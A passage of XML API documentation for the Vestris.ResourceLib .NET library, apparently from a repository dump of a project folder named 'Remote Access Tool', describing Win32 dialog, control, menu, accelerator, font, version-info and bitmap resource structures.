would otherwise send to the owner of the dialog box while the dialog box is displayed. Causes the system to use the SetForegroundWindow function to bring the dialog box to the foreground. Gives the dialog box a nonbold font and draws three-dimensional borders around control windows in the dialog box. Causes the dialog box to use the SYSTEM_FIXED_FONT instead of the default SYSTEM_FONT. This is a monospace font compatible with the System font in 16-bit versions of Windows earlier than 3.0. Creates the dialog box even if errors occur — for example, if a child window cannot be created or if the system cannot create a special data segment for an edit control. Creates a dialog box that works well as a child window of another dialog box, much like a page in a property sheet. This style allows the user to tab among the control windows of a child dialog box, use its accelerator keys, and so on. Centers the dialog box in the working area; that is, the area not obscured by the tray. Centers the dialog box on the mouse cursor. Includes a question mark in the title bar of the dialog box. When the user clicks the question mark, the cursor changes to a question mark with a pointer. If the user then clicks a control in the dialog box, the control receives a WM_HELP message. The control should pass the message to the dialog box procedure, which should call the function using the HELP_WM_HELP command. The help application displays a pop-up window that typically contains help for the control. Indicates that the dialog box should use the system font. Extended dialog styles. Creates a window that has a double border; the window can, optionally, be created with a title bar by specifying the WS_CAPTION style in the dwStyle parameter. Specifies that a child window created with this style does not send the WM_PARENTNOTIFY message to its parent window when it is created or destroyed. Specifies that a window created with this style should be placed above all non-topmost windows and should stay above them, even when the window is deactivated. To add or remove this style, use the SetWindowPos function. Specifies that a window created with this style accepts drag-drop files. Specifies that a window created with this style should not be painted until siblings beneath the window (that were created by the same thread) have been painted. The window appears transparent because the bits of underlying sibling windows have already been painted. Creates a multiple-document interface (MDI) child window. Creates a tool window; that is, a window intended to be used as a floating toolbar. A tool window has a title bar that is shorter than a normal title bar, and the window title is drawn using a smaller font. A tool window does not appear in the taskbar or in the dialog that appears when the user presses ALT+TAB. If a tool window has a system menu, its icon is not displayed on the title bar. However, you can display the system menu by right-clicking or by typing ALT+SPACE. Specifies that a window has a border with a raised edge. Specifies that a window has a border with a sunken edge. Includes a question mark in the title bar of the window. When the user clicks the question mark, the cursor changes to a question mark with a pointer. If the user then clicks a child window, the child receives a WM_HELP message. The child window should pass the message to the parent window procedure, which should call the WinHelp function using the HELP_WM_HELP command. The Help application displays a pop-up window that typically contains help for the child window. The window has generic "right-aligned" properties. This depends on the window class. This style has an effect only if the shell language is Hebrew, Arabic, or another language that supports reading-order alignment; otherwise, the style is ignored. Using the WS_EX_RIGHT style for static or edit controls has the same effect as using the SS_RIGHT or ES_RIGHT style, respectively. Using this style with button controls has the same effect as using BS_RIGHT and BS_RIGHTBUTTON styles. Creates a window that has generic left-aligned properties. This is the default. If the shell language is Hebrew, Arabic, or another language that supports reading-order alignment, the window text is displayed using right-to-left reading-order properties. For other languages, the style is ignored. The window text is displayed using left-to-right reading-order properties. This is the default. If the shell language is Hebrew, Arabic, or another language that supports reading order alignment, the vertical scroll bar (if present) is to the left of the client area. For other languages, the style is ignored. Vertical scroll bar (if present) is to the right of the client area. This is the default. The window itself contains child windows that should take part in dialog box navigation. If this style is specified, the dialog manager recurses into children of this window when performing navigation operations such as handling the TAB key, an arrow key, or a keyboard mnemonic. Creates a window with a three-dimensional border style intended to be used for items that do not accept user input. Forces a top-level window onto the taskbar when the window is visible. Combines the WS_EX_CLIENTEDGE and WS_EX_WINDOWEDGE styles. Combines the WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW, and WS_EX_TOPMOST styles. Windows 2000/XP: Creates a layered window. Note that this cannot be used for child windows. Also, this cannot be used if the window has a class style of either CS_OWNDC or CS_CLASSDC. Windows 2000/XP: A window created with this style does not pass its window layout to its child windows. Arabic and Hebrew versions of Windows 98/Me, Windows 2000/XP: Creates a window whose horizontal origin is on the right edge. Increasing horizontal values advance to the left. Windows XP: Paints all descendants of a window in bottom-to-top painting order using double-buffering. For more information, see Remarks. This cannot be used if the window has a class style of either CS_OWNDC or CS_CLASSDC. Windows 2000/XP: A top-level window created with this style does not become the foreground window when the user clicks it. The system does not bring this window to the foreground when the user minimizes or closes the foreground window. Possible DIALOGEXITEMTEMPLATE WindowClass ordinals. A button. An edit box. A static control. A list box. A scroll bar. A combo box. Static control styles. A static control specifies the STATIC class, appropriate window style constants, and a combination of the following static control styles. http://msdn.microsoft.com/en-us/library/bb760773(VS.85).aspx Specifies a simple rectangle and left-aligns the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next left-aligned line. Words that are longer than the width of the control are truncated. Specifies a simple rectangle and centers the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next centered line. Words that are longer than the width of the control are truncated. Specifies a simple rectangle and right-aligns the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next right-aligned line. Words that are longer than the width of the control are truncated. Specifies an icon to be displayed in the dialog box. If the control is created as part of a dialog box, the text is the name of an icon (not a filename) defined elsewhere in the resource file. If the control is created via CreateWindow or a related function, the text is the name of an icon (not a filename) defined in the resource file associated with the module specified by the hInstance parameter to CreateWindow. The icon can be an animated cursor. Specifies a rectangle filled with the current window frame color. This color is black in the default color scheme. Specifies a rectangle filled with the current screen background color. This color is gray in the default color scheme. Specifies a rectangle filled with the current window background color. This color is white in the default color scheme. Specifies a box with a frame drawn in the same color as the window frames. This color is black in the default color scheme. Specifies a box with a frame drawn with the same color as the screen background (desktop). This color is gray in the default color scheme. Specifies a box with a frame drawn with the same color as the window background. This color is white in the default color scheme. Specifies a simple rectangle and displays a single line of left-aligned text in the rectangle. The text line cannot be shortened or altered in any way. Also, if the control is disabled, the control does not gray its text. Specifies a simple rectangle and left-aligns the text in the rectangle. Tabs are expanded, but words are not wrapped. Text that extends past the end of a line is clipped. Specifies that the owner of the static control is responsible for drawing the control. The owner window receives a WM_DRAWITEM message whenever the control needs to be drawn. Specifies that a bitmap is to be displayed in the static control. The text is the name of a bitmap (not a filename) defined elsewhere in the resource file. The style ignores the nWidth and nHeight parameters; the control automatically sizes itself to accommodate the bitmap. Specifies that an enhanced metafile is to be displayed in the static control. The text is the name of a metafile. An enhanced metafile static control has a fixed size; the metafile is scaled to fit the static control's client area. Draws the top and bottom edges of the static control using the EDGE_ETCHED edge style. Draws the left and right edges of the static control using the EDGE_ETCHED edge style. Draws the frame of the static control using the EDGE_ETCHED edge style. Windows 2000: A composite style bit that results from using the OR operator on SS_* style bits. Can be used to mask out valid SS_* bits from a given bitmask. Note that this is out of date and does not correctly include all valid styles. Thus, you should not use this style. Windows XP or later: Adjusts the bitmap to fit the size of the static control. For example, changing the locale can change the system font, and thus controls might be resized. If a static control had a bitmap, the bitmap would no longer fit the control. This style bit dictates automatic redimensioning of bitmaps to fit their controls. Prevents interpretation of any ampersand characters in the control's text as accelerator prefix characters. These are displayed with the ampersand removed and the next character in the string underlined. This static control style may be included with any of the defined static controls. You can combine SS_NOPREFIX with other styles. This can be useful when filenames or other strings that may contain an ampersand must be displayed in a static control in a dialog box. Sends the parent window STN_CLICKED, STN_DBLCLK, STN_DISABLE, and STN_ENABLE notification messages when the user clicks or double-clicks the control. Specifies that a bitmap is centered in the static control that contains it. The control is not resized, so that a bitmap too large for the control will be clipped. If the static control contains a single line of text, the text is centered vertically in the client area of the control. Specifies that the lower right corner of a static control with the SS_BITMAP or SS_ICON style is to remain fixed when the control is resized. Only the top and left sides are adjusted to accommodate a new bitmap or icon. Specifies that the actual resource width is used and the icon is loaded using LoadImage. SS_REALSIZEIMAGE is always used in conjunction with SS_ICON. Draws a half-sunken border around a static control. Microsoft Windows 2000: Specifies that the static control duplicates the text-displaying characteristics of a multiline edit control. Specifically, the average character width is calculated in the same manner as with an edit control, and the function does not display a partially visible last line. Microsoft Windows NT or later: If the end of a string does not fit in the rectangle, it is truncated and ellipses are added. If a word that is not at the end of the string goes beyond the limits of the rectangle, it is truncated without ellipses. Using this style will force the control’s text to be on one line with no word wrap. Compare with SS_PATHELLIPSIS and SS_WORDELLIPSIS. Windows NT or later: Replaces characters in the middle of the string with ellipses so that the result fits in the specified rectangle. If the string contains backslash (\) characters, SS_PATHELLIPSIS preserves as much as possible of the text after the last backslash. Using this style will force the control’s text to be on one line with no word wrap. Compare with SS_ENDELLIPSIS and SS_WORDELLIPSIS. Windows NT or later: Truncates any word that does not fit in the rectangle and adds ellipses. Using this style will force the control’s text to be on one line with no word wrap. Push button styles. http://msdn.microsoft.com/en-us/library/bb775951(VS.85).aspx Creates a push button that posts a WM_COMMAND message to the owner window when the user selects the button. Creates a push button that behaves like a BS_PUSHBUTTON style button, but has a distinct appearance. If the button is in a dialog box, the user can select the button by pressing the ENTER key, even when the button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Creates a small, empty check box with text. By default, the text is displayed to the right of the check box. To display the text to the left of the check box, combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Creates a button that is the same as a check box, except that the check state automatically toggles between checked and cleared each time the user selects the check box. Creates a small circle with text. By default, the text is displayed to the right of the circle. To display the text to the left of the circle, combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Use radio buttons for groups of related, but mutually exclusive choices. Creates a button that is the same as a check box, except that the box can be grayed as well as checked or cleared. Use the grayed state to show that the state of the check box is not determined. Creates a button that is the same as a three-state check box, except that the box changes its state when the user selects it. The state cycles through checked, indeterminate, and cleared. Creates a rectangle in which other controls can be grouped. Any text associated with this style is displayed in the rectangle's upper left corner. Obsolete, but provided for compatibility with 16-bit versions of Windows. Applications should use BS_OWNERDRAW instead. Creates a button that is the same as a radio button, except that when the user selects it, the system automatically sets the button's check state to checked and automatically sets the check state for all other buttons in the same group to cleared. Creates an owner-drawn button. The owner window receives a WM_DRAWITEM message when a visual aspect of the button has changed. Do not combine the BS_OWNERDRAW style with any other button styles. Microsoft Windows 2000: A composite style bit that results from using the OR operator on BS_* style bits. It can be used to mask out valid BS_* bits from a given bitmask. Places text on the left side of the radio button or check box when combined with a radio button or check box style. Same as the BS_RIGHTBUTTON style. Specifies that the button displays text. Specifies that the button displays an icon. Specifies that the button displays a bitmap. See the Remarks section for its interaction with BS_ICON. Left-justifies the text in the button rectangle. However, if the button is a check box or radio button that does not have the BS_RIGHTBUTTON style, the text is left justified on the right side of the check box or radio button. Right-justifies text in the button rectangle. However, if the button is a check box or radio button that does not have the BS_RIGHTBUTTON style, the text is right justified on the right side of the check box or radio button. Centers text horizontally in the button rectangle. Places text at the top of the button rectangle. Places text at the bottom of the button rectangle. Places text in the middle (vertically) of the button rectangle. Makes a button (such as a check box, three-state check box, or radio button) look and act like a push button. The button looks raised when it isn't pushed or checked, and sunken when it is pushed or checked. Wraps the button text to multiple lines if the text string is too long to fit on a single line in the button rectangle. Enables a button to send BN_KILLFOCUS and BN_SETFOCUS notification messages to its parent window. Specifies that the button is two-dimensional; it does not use the default shading to create a 3-D image. Microsoft Windows Vista and Version 6.00. Creates a split button that behaves like a BS_PUSHBUTTON style button, but also has a distinctive appearance. If the split button is in a dialog box, the user can select the split button by pressing the ENTER key, even when the split button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a BS_PUSHBUTTON style button, but the command link button has a green arrow on the left pointing to the button text. A caption for the button text can be set by sending the BCM_SETNOTE message to the button. Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a BS_PUSHBUTTON style button. If the button is in a dialog box, the user can select the command link button by pressing the ENTER key, even when the command link button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Edit control styles. http://msdn.microsoft.com/en-us/library/bb775464(VS.85).aspx Aligns text with the left margin. Windows 98/Me, Windows 2000/XP: Centers text in a single-line or multiline edit control. Windows 95, Windows NT 4.0 and earlier: Centers text in a multiline edit control. Windows 98/Me, Windows 2000/XP: Right-aligns text in a single-line or multiline edit control. Windows 95, Windows NT 4.0 and earlier: Right aligns text in a multiline edit control. Designates a multiline edit control. The default is single-line edit control. Converts all characters to uppercase as they are typed into the edit control. Converts all characters to lowercase as they are typed into the edit control. Displays an asterisk (*) for each character typed into the edit control. This style is valid only for single-line edit controls. Automatically scrolls text up one page when the user presses the ENTER key on the last line. Automatically scrolls text to the right by 10 characters when the user types a character at the end of the line. When the user presses the ENTER key, the control scrolls all text back to position zero. Negates the default behavior for an edit control. Converts text entered in the edit control. Prevents the user from typing or editing text in the edit control. Specifies that a carriage return be inserted when the user presses the ENTER key while entering text into a multiline edit control in a dialog box. If you do not specify this style, pressing the ENTER key has the same effect as pressing the dialog box's default push button. This style has no effect on a single-line edit control. Allows only digits to be entered into the edit control. Defines the header for a menu template. A complete menu template consists of a header and one or more menu item lists. Specifies the version number. This member must be zero. Specifies the offset, in bytes, from the end of the header. The menu item list begins at this offset. Usually, this member is zero, and the menu item list follows immediately after the header. Defines a menu item in a menu template. Specifies one or more of the following predefined menu options that control the appearance of the menu item. TODO Defines the header for an extended menu template. Template version number. This member must be 1 for extended menu templates. Offset of the first MENUEXITEMTEMPLATE structure, relative to the end of this structure member. If the first item definition immediately follows the dwHelpId member, this member should be 4. Drop-down menu or submenu item. Menu item type. This member can be a combination of the type (beginning with MFT) values listed with the MENUITEMINFO structure. Menu item state. This member can be a combination of the state (beginning with MFS) values listed with the MENUITEMINFO structure. Menu item identifier. This is an application-defined value that identifies the menu item. Value specifying whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu. Specifies one or more of the following predefined menu options that control the appearance of the menu item. Indicates that the menu item is initially inactive and drawn with a gray effect. Indicates that the menu item has a check mark next to it. Indicates that the owner window of the menu is responsible for drawing all visual aspects of the menu item, including highlighted, selected, and inactive states. This option is not valid for an item in a menu bar. Indicates that the item is one that opens a drop-down menu or submenu. Indicates that the menu item is placed in a new column. The old and new columns are separated by a bar. Indicates that the menu item is placed in a new column. Indicates that the menu item has a vertical separator to its left. Specifies whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu. This member can be zero or more of these values. Defines the last menu item in the menu bar, drop-down menu, submenu, or shortcut menu. Defines a item that opens a drop-down menu or submenu. Subsequent structures define menu items in the corresponding drop-down menu or submenu. Defines an accelerator key used in an accelerator table. http://msdn.microsoft.com/en-us/library/ms646340(VS.85).aspx Accelerator flags. Accelerator key. This member can be either a virtual-key code or an ASCII character code. Accelerator identifier. Flags, fVirt field of the Accelerator table structure. Virtual key. Specifies that no top-level menu item is highlighted when the accelerator is used. This is useful when defining accelerators for actions such as scrolling that do not correspond to a menu item. If NOINVERT is omitted, a top-level menu item will be highlighted (if possible) when the accelerator is used. Causes the accelerator to be activated only if the SHIFT key is down. Applies only to virtual keys. Causes the accelerator to be activated only if the CONTROL key is down. Applies only to virtual keys. Causes the accelerator to be activated only if the ALT key is down. Applies only to virtual keys. Virtual key definitions. Standard virtual left mouse button. Standard virtual right mouse button. Ctrl-Break / Ctrl-C. Standard virtual middle mouse button. Backspace. Tab. Delete. Return. Shift. Control. Menu. Pause. Caps lock. Escape. Space. End. Home. Left arrow. Up arrow. Right arrow. Down arrow. Print Screen. Insert. Delete. NEC PC-9800 keyboard '=' key on numpad. Fujitsu/OASYS keyboard 'Dictionary' key. Fujitsu/OASYS keyboard 'Unregister word' key. Fujitsu/OASYS keyboard 'Register word' key. Fujitsu/OASYS keyboard 'Left OYAYUBI' key. Fujitsu/OASYS keyboard 'Right OYAYUBI' key. ';:' for US '+' any country ',' any country '-' any country '.' any country '/?' for US '`~' for US '[{' for US '\|' for US ']}' for US ''"' for US 'AX' key on Japanese AX kbd "<>" or "\|" on RT 102-key kbd. Help key on ICO 00 key on ICO Contains information about an individual font in a font resource group. Specifies a user-defined version number for the resource data that tools can use to read and write resource files. Specifies the size of the file, in bytes. Contains a 60-character string with the font supplier's copyright information. Specifies the type of font file. Specifies the point size at which this character set looks best. Specifies the vertical resolution, in dots per inch, at which this character set was digitized. Specifies the horizontal resolution, in dots per inch, at which this character set was digitized. Specifies the distance from the top of a character definition cell to the baseline of the typographical font. Specifies the amount of leading inside the bounds set by the dfPixHeight member. Accent marks and other diacritical characters can occur in this area. Specifies the amount of extra leading that the application adds between rows. Specifies an italic font if not equal to zero. Specifies an underlined font if not equal to zero. Specifies a strikeout font if not equal to zero. Specifies the weight of the font in the range 0 through 1000. For example, 400 is roman and 700 is bold. If this value is zero, a default weight is used. Specifies the character set of the font. Specifies the width of the grid on which a vector font was digitized. For raster fonts, if the member is not equal to zero, it represents the width for all the characters in the bitmap. If the member is equal to zero, the font has variable-width characters. Specifies the height of the character bitmap for raster fonts or the height of the grid on which a vector font was digitized. Specifies the pitch and the family of the font. Specifies the average width of characters in the font (generally defined as the width of the letter x). This value does not include the overhang required for bold or italic characters. Specifies the width of the widest character in the font. Specifies the first character code defined in the font. Specifies the last character code defined in the font. Specifies the character to substitute for characters not in the font. Specifies the character that will be used to define word breaks for text justification. Specifies the number of bytes in each row of the bitmap. This value is always even so that the rows start on word boundaries. For vector fonts, this member has no meaning. Specifies the offset in the file to a null-terminated string that specifies a device name. For a generic font, this value is zero. Specifies the offset in the file to a null-terminated string that names the typeface. This member is reserved. This structure depicts the organization of data in a file-version resource. It contains version information not dependent on a particular language and code page combination. http://msdn.microsoft.com/en-us/library/aa909193.aspx A hardware independent dictionary of language and code page identifier tables. A new hardware independent dictionary of language and code page identifier tables. An existing hardware independent dictionary of language and code page identifier tables. Pointer to the beginning of data. Read a hardware independent dictionary of language and code page identifier tables. Pointer to the beginning of data. Pointer to the end of data. Write the hardware independent dictionary of language and code page identifier tables to a binary stream. Binary stream. The default language and code page identifier table. Returns a language and code page identifier table. Language ID. A language and code page identifier table. String representation of VarFileInfo. Indent. String in the VarFileInfo format. This structure depicts the organization of data in a file-version resource. It typically contains a list of language and code page identifier pairs that the version of the application or DLL supports. http://msdn.microsoft.com/en-us/library/bb202818.aspx A dictionary of language and code page identifier pairs. A new table of language and code page identifier pairs. A new table of language and code page identifier pairs. Table key. An existing table of language and code page identifier pairs. Pointer to the beginning of the data. Read a table of language and code page identifier pairs. Pointer to the beginning of the data. Write the table of language and code page identifier pairs to a binary stream. Binary stream. Last unpadded position. Returns a code page identifier for a given language. Language ID. Code page identifier. String representation of the var table. Indent. String representation of the var table. VS_VERSIONINFO This structure depicts the organization of data in a file-version resource. It is the root structure that contains all other file-version information structures. http://msdn.microsoft.com/en-us/library/aa914916.aspx The resource header. A dictionary of resource tables. An existing version resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new language-netural version resource. Read a version resource from a previously loaded module. Module handle. Pointer to the beginning of the resource. Pointer to the end of the resource. String representation of the file version. Gets or sets a bitmask that specifies the Boolean attributes of the file. String representation of the protect version. Write this version resource to a binary stream. Binary stream. Returns an entry within this resource table. Entry key. A resource table. Returns an entry within this resource table. Entry index. A resource table. Return string representation of the version resource. winver.h, version management functions, types and definitions VS_VERSION signature. VS_VERSION structure version. VS_VERSION file flags mask. VS_VERSION file flags. The file contains debugging information. The file is a prerelease development version, not a final commercial release. PThe file has been modified somehow and is not identical to the original file that shipped with the product. The file was not built using standard release procedures. There should be data in the file's "PrivateBuild" version information string. The version information in this structure was not found inside the file, but instead was created when needed based on the best information available. Therefore, this structure's information may differ slightly from what the "real" values are. The file was built using standard release procedures, but is somehow different from the normal file having the same version number. There should be data in the file's "SpecialBuild" version information string. VS_VERSION file OSs. The operating system under which the file was designed to run could not be determined. The file was designed to run under MS-DOS. The file was designed to run under a 16-bit version of OS/2. The file was designed to run under a 32-bit version of OS/2. The file was designed to run under Windows NT/2000. The file was designed to run under the 16-bit Windows API. The file was designed to be run under a 16-bit version of Presentation Manager. The file was designed to be run under a 32-bit version of Presentation Manager. The file was designed to run under the 32-bit Windows API. VS_VERSION file types. The type of file could not be determined. The file is an application. The file is a Dynamic Link Library (DLL). The file is a device driver. dwFileSubtype contains more information. The file is a font. dwFileSubtype contains more information. The file is a virtual device. The file is a static link library. File sub-type. The type of driver could not be determined. The file is a printer driver. The file is a keyboard driver. The file is a language driver. The file is a display driver. The file is a mouse driver. The file is a network driver. The file is a system driver. The file is an installable driver. The file is a sound driver. The file is a communications driver. The file is an input method driver. The file is a versioned printer driver. The file is a raster font. The file is a vector font. The file is a TrueType font. ================================================ FILE: Remote Access Tool/packages/Vestris.ResourceLib.2.1.0/lib/net35/Vestris.ResourceLib.xml ================================================ Vestris.ResourceLib Standard accelerator. Read the accelerator. Address in memory. Write accelerator to a binary stream. Binary stream. String representation of the accelerator key. An unsigned integer value that identifies the accelerator. String representation of the accelerator. String representation of the accelerator. An accelerator, RT_ACCELERATOR resource. An accelerator provides the user with access to an application's command set. Accelerator keys. A new accelerator resource. An existing accelerator resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the accelerators table. Handle to a module. Pointer to the beginning of the accelerator table. Address of the end of the accelerator table. String representation of the accelerators resource. Creates an 8 bit aligned copy of the buffer if it is not already aligned A bitmap file in a .bmp format. Device independent bitmap. An existing bitmap file. A file in a .bmp format. An embedded bitmap resource. An existing bitmap resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new bitmap resource. Read the resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the bitmap resource to a binary stream. Binary stream. A device independent bitmap. This structure depicts the organization of data in a hardware-independent cursor resource. A hardware-independent cursor resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent cursor resource. A new collection of cursors that can be embedded into an executable file. This structure depicts the organization of data in a cursor resource. An existing cursor resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new cursor resource. Convert into an icon resource that can be written into an executable. Icon image. Icon Id. Language. An icon resource. Horizontal hotspot coordinate. The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. Vertical hot spot coordinate. The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. Write the cursor data to a file. Target executable file. Read DIB image. DIB bits. DIB size. A device-independent image consists of a BITMAPINFOHEADER where bmWidth is the width of the image andbmHeight is double the height of the image, followed by the bitmap color table, followed by the image pixels, followed by the mask pixels. Raw image data. Bitmap info header. Bitmap size in bytes. A new icon image. A device-independent bitmap. Bitmap data. Create a copy of an image. Source image. Read icon data. Pointer to the beginning of icon data. Icon data size. Size of the image mask. Position of the DIB bitmap bits within a DIB bitmap array. Number of colors in the palette. Returns the width of a row in a DIB Bitmap given the number of bits. DIB Bitmap rows always align on a DWORD boundary. Number of bits. Width of a row in bytes. Bitmap monochrome mask. Bitmap color (XOR) part of the image. Complete image. A container for the DIALOGTEMPLATEEX structure. Indicates the character set to use. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Weight of the font. Indicates whether the font is italic. Number of dialog items. An extended dialog structure. Read the dialog resource. Pointer to the beginning of the dialog structure. Write dialog control to a binary stream. Binary stream. String representation of the dialog. String in the DIALOGEX [dialog] format. A container for the DIALOGTEMPLATEEX structure. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Control identifier. An extended dialog control template structure. Read the dialog control. Pointer to the beginning of the dialog structure. Write the dialog control to a binary stream. Binary stream. Return a string representation of the dialog control. A single line in the "CLASS name id, dimensions and styles' format. A dialog template resource. A dialog template structure that describes the dialog. A structured dialog resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. A structured dialog resource embedded in an executable module. Dialog resource in standard resource editor text format. Multi-line string. A container for the DIALOGTEMPLATE structure. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Number of dialog items. A standard dialog structure. Read the dialog resource. Pointer to the beginning of the dialog structure. Write the dialog template data to a binary stream. Binary stream. Returns a string representation of the dialog. String in the DIALOG ... format. A dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Style of the dialog box. Optional extended style of the dialog box. Number of items in this structure. The name of the typeface for the font. Point size of the font to use for the text in the dialog box and its controls. Dialog caption. Menu resource Id. Window class Id. Controls within this dialog. Dialog template representation in a standard text format. Multiline string. String represetnation of a control. Write the resource to a binary stream. Binary stream. A container for a control within a dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Control identifier. A standard dialog control structure. Write the dialog control to a binary stream. Binary stream. String represetnation of a control. A dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Style of the dialog box. Optional extended style of the dialog box. Dialog caption. Window class Id. Window class of the control. Additional creation data. Write the dialog control to a binary stream. Binary stream. Dialog template utility functions. Read a dialog resource id. Address in memory. Resource read. String representation of the dialog or control style of two types. Dialog or control style. String in the "s1 | s2 | ... | s3" format. String representation of the dialog or control styles of two types. Dialog or control style. Dialog or control extended style. String in the "s1 | s2 | ... | s3" format. String representation of the dialog or control style of one type. Dialog or control style. String in the "s1 | s2 | ... | s3" format. This structure depicts the organization of data in a hardware-independent icon resource. Returns the type of the resource in this group. Icons contained in this hardware-independent icon resource. A hardware-independent icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent icon resource. Save a hardware-independent icon resource to an executable file. Name of an executable file (.exe or .dll). Read a hardware-independent icon resource from a loaded module. Loaded executable module. Pointer to the beginning of a hardware-independent icon resource. Pointer to the end of the hardware-independent icon resource. Write a hardware-independent icon resource to a binary stream. Binary stream. Fixed file information. Default Windows fixed file information. Fixed file info structure. Read the fixed file information structure. Address in memory. String representation of the file version. String representation of the protect version. Gets or sets a bitmask that specifies the Boolean attributes of the file. Write fixed file information to a binary stream. Binary stream. Size of the VS_FIXEDFILEINFO structure. String representation of the fixed file info. String representation of the fixed file info. A font directory entry. Font ordinal. Typeface name of the font. Specifies the name of the device if this font file is designated for a specific device. Font information. A new font directory entry. Read the font directory entry. Pointer in memory. Pointer to the end of the font directory entry. Write the font directory entry to a binary stream. Binary stream. A font directory, RT_FONTDIR resource. Number of fonts in this directory. A new font resource. An existing font resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the font resource. Handle to a module. Pointer to the beginning of the font structure. Address of the end of the font structure. Write the font directory to a binary stream. Binary stream. A font, RT_FONT resource. A new font resource. An existing font resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the font resource. Handle to a module. Pointer to the beginning of the font structure. Address of the end of the font structure. Write the font resource to a binary writer. Binary writer. Gdi32.dll interop functions. Bitmap compression options. An uncompressed format. A run-length encoded (RLE) format for bitmaps with 8 bpp. The compression format is a 2-byte format consisting of a count byte followed by a byte containing a color index. For more information, see Bitmap Compression. An RLE format for bitmaps with 4 bpp. The compression format is a 2-byte format consisting of a count byte followed by two word-length color indexes. For more information, see Bitmap Compression. Specifies that the bitmap is not compressed and that the color table consists of three DWORD color masks that specify the red, green, and blue components, respectively, of each pixel. This is valid when used with 16- and 32-bpp bitmaps. Windows 98/Me, Windows 2000/XP: Indicates that the image is a JPEG image. Windows 98/Me, Windows 2000/XP: Indicates that the image is a PNG image. A bitmap info header. See http://msdn.microsoft.com/en-us/library/ms532290.aspx for more information. Bitmap information size. Bitmap width. Bitmap height. Number of logical planes. Bitmap bitrate. Bitmap compression. Image size. Horizontal pixel resolution. Vertical pixel resolution. Returns the current bitmap compression. Bitmap pixel format. Bitmap pixel format English standard string. Defines the dimensions and color information of a Windows-based device-independent bitmap (DIB). http://msdn.microsoft.com/en-us/library/dd183375(VS.85).aspx. Specifies a bitmap information header structure that contains information about the dimensions of color format. An array of RGBQUAD. The elements of the array make up the color table. Store colors in a paletised icon (2, 4 or 8 bit). http://msdn.microsoft.com/en-us/library/ms997538.aspx Blue. Green. Red. Reserved. The BITMAPFILEHEADER structure contains information about the type, size, and layout of a file that contains a DIB. http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx The file type; must be BM. The size, in bytes, of the bitmap file. Reserved; must be zero. Reserved; must be zero. The offset, in bytes, from the beginning of the BITMAPFILEHEADER structure to the bitmap bits. Set the pixels in the specified rectangle on the device that is associated with the destination device context using color data from a DIB, JPEG, or PNG image. http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx A handle to the device context. The x-coordinate, in logical units, of the upper-left corner of the destination rectangle. The y-coordinate, in logical units, of the upper-left corner of the destination rectangle. The width, in logical units, of the image. The height, in logical units, of the image. The x-coordinate, in logical units, of the lower-left corner of the image. The y-coordinate, in logical units, of the lower-left corner of the image. The starting scan line in the image. The number of DIB scan lines contained in the array pointed to by the lpvBits parameter. A pointer to the color data stored as an array of bytes. A pointer to a BITMAPINFOHEADER structure that contains information about the DIB. Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette. If the function succeeds, the return value is the number of scan lines set. If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero. If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. Set the pixels in the specified rectangle on the device that is associated with the destination device context using color data from a DIB, JPEG, or PNG image. http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx A handle to the device context. The x-coordinate, in logical units, of the upper-left corner of the destination rectangle. The y-coordinate, in 